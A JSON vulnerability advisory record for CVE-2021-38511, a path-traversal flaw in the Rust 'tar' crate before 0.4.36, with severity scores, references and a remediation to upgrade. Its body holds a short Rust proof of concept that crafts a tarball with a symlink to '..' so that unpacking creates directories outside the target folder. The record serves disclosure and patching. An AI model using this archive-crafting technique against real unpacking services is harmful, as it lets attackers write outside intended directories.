{"id":"CVE-2021-38511","aliases":["RUSTSEC-2021-0080","GHSA-62jx-8vmh-4mcw"],"title":"Links in archive can create arbitrary directories","summary":"Links in archive can create arbitrary directories","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","vendor":"tar","product":"tar","ecosystem":"rust","affected":["tar >= 0.0.0-0, < 0.4.36"],"patched":["tar 0.4.36"],"published":"2021-07-19","updated":"2026-07-17","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2021-0080","references":[{"url":"https://crates.io/crates/tar"},{"url":"https://rustsec.org/advisories/RUSTSEC-2021-0080.html"},{"url":"https://github.com/alexcrichton/tar-rs/issues/238"}],"tags":["osv","rust"],"epss":0.01392,"epssPercentile":0.71189,"ingestedAt":"2026-07-17T19:00:51.800Z","slug":"CVE-2021-38511","body":"## Overview\n\nWhen unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -> Result<()> {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(&mut buf);\n\n        // symlink: parent -> ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(&*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!\n\n## Affected packages\n\n- `tar >= 0.0.0-0, < 0.4.36`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `tar 0.4.36`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":41.3,"likelihood":0.3,"exploitation":0,"ransomware":0},"changes":[]}